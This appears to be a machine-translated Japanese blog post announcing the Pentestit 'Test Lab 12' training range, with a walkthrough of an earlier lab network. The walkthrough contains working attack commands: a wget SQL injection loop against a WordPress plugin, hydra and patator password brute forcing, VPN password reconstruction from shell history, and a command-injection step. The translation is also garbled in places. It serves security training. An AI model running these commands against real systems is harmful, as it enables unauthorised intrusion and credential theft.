
明日のモスクワ時間12:00に、新しい侵入テストラボTest Lab 12が開始されます。これは、固有の脆弱性と構成エラーを伴う実際の企業ネットワークのコピーです。 研究所のウェブサイトにはすでに25,000人の参加者が登録されており、その中にはロシアの大手企業や国際企業の情報セキュリティ分野の有力な専門家も含まれています。
以下は、新しいラボの構成、脆弱性の検索と悪用の例、およびトレーニングの資料に関する情報です。
研究所の主な重点はリアリズムです。IT構造は企業の企業ネットワークとの類推によって設計され、攻撃者のアクションを実際のハッキングに近づけます。 サイバー犯罪者として行動している参加者は、脆弱性を悪用しようとし、成功した場合は、それぞれがトークンを含む個々のラボノードにアクセスします。 勝者は、すべてのトークンを最初に収集した参加者です。つまり、実際には、仮想企業ネットワークを完全に制御できます。
誰もが、スキルレベルに関係なく、法律に違反することなく、できるだけ実際の条件に近い条件で侵入テストスキルをテストできます。
新しい研究室は、浸透の複雑さのレベルが異なる複数の境界の形で提示される分散コンピューターネットワークで構成されます。 最初の(外部)境界は、「突破」するのが最も簡単で、その後、進行はより複雑になります。 最も複雑な分野では、多数の参加者がいる脆弱性の悪用が困難です。 このアプローチにより、2つの問題を一度に解決できます。
- 誰もがそのリアリズムを維持しながら、研究室でスキルを評価できるようにします。
- 特定の種類の脆弱性を悪用したり攻撃を行ったりするときに、参加者が互いに干渉する状況を排除します。

使用した実験室で
- さまざまなネットワークサービス(メール、DNS、AD、VPNなど)、SIEMおよびDBMS。
- WebAppおよびAPI(PHP、Python、Django、Java);
- 自作デスクトップアプリケーション。
- リアリズムの追加サポートサービス。
ラボに合格するには、次のものが必要です。
- さまざまなネットワークプロトコルを操作するスキル。
- SIEMシステムからのデータを分析し、相関フィルターを設定する機能など。
- リバースエンジニアリングの経験。
- ネットワークサービスおよびWebアプリケーションの脆弱性を発見した経験。
プライベートラボの侵入テスト
私たちは、この夏、初心者の専門家が基本的な能力をすばやく習得できるように開発した、過去の私立研究室のいくつかのタスクを遂行することにしました。
実験室の構成に関するすべての情報(システム、ユーザーなど)は架空のものであり、現実的な画像を作成するためだけに使用されます。
この記事で説明されている侵入テスト手法は、本質的に教育的なものです。 法律を破らないでください。
15台のサーバーで構成される架空の組織「UNIONSEC」の全体構造は、VPN接続の確立後にアクセス可能なゲートウェイ192.168.102.10の背後にありました。 参加者には、研究所の企業ネットワークを侵害するタスクが与えられました。 各脆弱性の操作の結果はトークンであり、ページlab.pentestit.ruのフォームを介して送信する必要がありました 。

実験室は2人の参加者からなる7つのチームに攻撃されましたが、ネットワーク全体を侵害することはできませんでした。 それにもかかわらず、一部のチームはまともな結果を示しました。

実験室での作業には、侵入テストを実施するためのさまざまなツールとスキルの経験が必要であり、さらに、開発およびリバースエンジニアリングの分野の知識がなければ、一部のタスクを完了できませんでした。 タスクを完了するために参加者に与えられた限られた時間を考えると、私たちの意見では、タスクのほぼ半分を完了することは価値のある結果です。
知能
nmapユーティリティを使用して、開いているポートのリストを取得します。
nmap 192.168.102.10 -sV

会社のウェブサイト
「お問い合わせ」セクションのアドレス192.168.102.10に、電子メールアドレスのリストが表示されます。

アプリケーションのHTMLコードによれば、WordPress CMSを使用し、wp-symposium-15.1プラグインが含まれていると想定できます。
www.exploit-db.comを通じて、プラグインがSQLインジェクションに対して脆弱であると判断します。 URI
192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=
介して、「BASHスクリプトを使用して脆弱性を悪用しようとしています。
#!/bin/bash for ((i=0; i<= 10; i++)) do wget --no-proxy -q -O- "http://192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA limit 1 offset $i; --" echo "" done
データベースのリストを取得します。
information_schema
wp_db
脆弱性を悪用した後-トークン:
wget -q -O- 192.168.102.10/wp-content/plugins/wp-symposium-15.1/get_album_item.php?size=* from token; --"

郵便
hydraを使用してパスワードを列挙します。
hydra smtp://192.168.101.10 -s 25 -L /tmp/emails -P /tmp/pass

受信したデータを使用して、メールサーバーのWUIで認証し、トークンを取得します。

Openvpn
接続
Web North
http://192.168.102.10:88
、ファイル「openvpn.conf」
http://192.168.102.10:88
ロードします。 サーバーをスキャンした後(たとえば、DirBusterユーティリティを使用)
.bash_history
を見つけ
.bash_history
。
-bash: generating new OpenVPN password for user admin: command not found
-bash: generating: command not found
-bash: date +%F: command not found
-bash: echo "admin:`date +%F | md5sum | sed -s 's/ -//'`" > /etc/openvpn/user.pass: command not found
cat /etc/openvpn/user.pass
service openvpn restart
exit
ユーザー名とパスワード生成アルゴリズムを見つけることができます。 以前に作成したパスワードを再生するには、正確なファイル作成日を使用します。

チームの履歴に従って変換を実行します。 結果のパスワードは、VPN認証に使用されます。
サーバースキャン
VPNに接続したら、サーバーポートをスキャンします。

http://10.255.0.1:8080
トークンを取得し
http://10.255.0.1:8080
。

ターミナル
VPNサーバーは、スキャン後、内部ネットワークにいくつかのルーティングを送信し、22個のポートが開いている複数のホストを見つけます。
dev
アカウントでログインしようとします。 サーバーの1つに接続すると、/ home / supportディレクトリが存在することがわかり、同じ名前のアカウントのパスワードを選択しようとします。
patator ssh_login host=192.168.11.5 user=support password=FILE0 0=usr/share/wordlists/rockyou.txt -x ignore:fgrep='Authentication failed'

パスワードを取得すると、ホームディレクトリにあるトークンを取得します。

リバースエンジニアリング
TERMINALサーバー上で
admin.bin
を見つけ、そのアクションはパスワード要求で終了します。 逆を使用して、トークンであるパスワード
fv34cm3cm
を取得します。 入力すると、
SSH PRIVATE KEY
が与えられます。
秘密鍵から、サーバー
192.168.11.2
で認証を行います。このサーバーでは、
/opt/
dump.pcap
ファイルがあり
/opt/
。 ファイルからネットワークトラフィックダンプを分析し、トークンと、Webサーバー
192.168.11.3
でのBASIC認証のパスワードを抽出します。
tcpdump -r /tmp/dump.pcap -A | grep token

API
192.168.11.3
には、管理者のPCからアクセス可能なAPIがあります。 ポート変換を使用して(たとえばSSHを介して)、調査を開始します。
APIで発見された脆弱性を悪用した後、
admin
ユーザーパスワードの一部であるトークンを取得します。

Webアプリケーションは、開発中の
http://172.16.0.4
で入手できます。
readme.html
ファイルから、開発されたページのリストを取得します。

http://172.16.0.4/availability.php
を開くと、エラーが発生します。
REFERRER http://172.16.0.4/index.html
パラメータ
REFERRER http://172.16.0.4/index.html
を使用してアクションを繰り返してみてください。その後、
ping
ボタンのあるフォームが使用可能になります。

入力フィールドにフィルタリングがないことを確認した後、トークンを取得します。

SSH
経由でサーバー
172.16.0.1
接続します。 承認後、PINコード(5桁)を要求するスクリプトが表示されます。

自己記述のパスワード推測スクリプトを使用して、コンソールへのフルアクセスを取得し、ユーザーのフォルダー内のトークンを持つファイルを見つけます。

未来に戻る
新しい12番目の実験室にすぐに慣れるために、材料とツールの短いリストを用意しました。
- 初心者向けKali Linux
- OWASPテストガイドの翻訳
- 受賞者alexeystoletnyからの「試験室11」の 通路
- ツールキット:Nmap、SQLmap、Burp Suite、WPScan、Nikto / DirBuster / w3af、Dig、Paator / Hydra、IDA Pro
「テストラボ12」でお会いしましょう。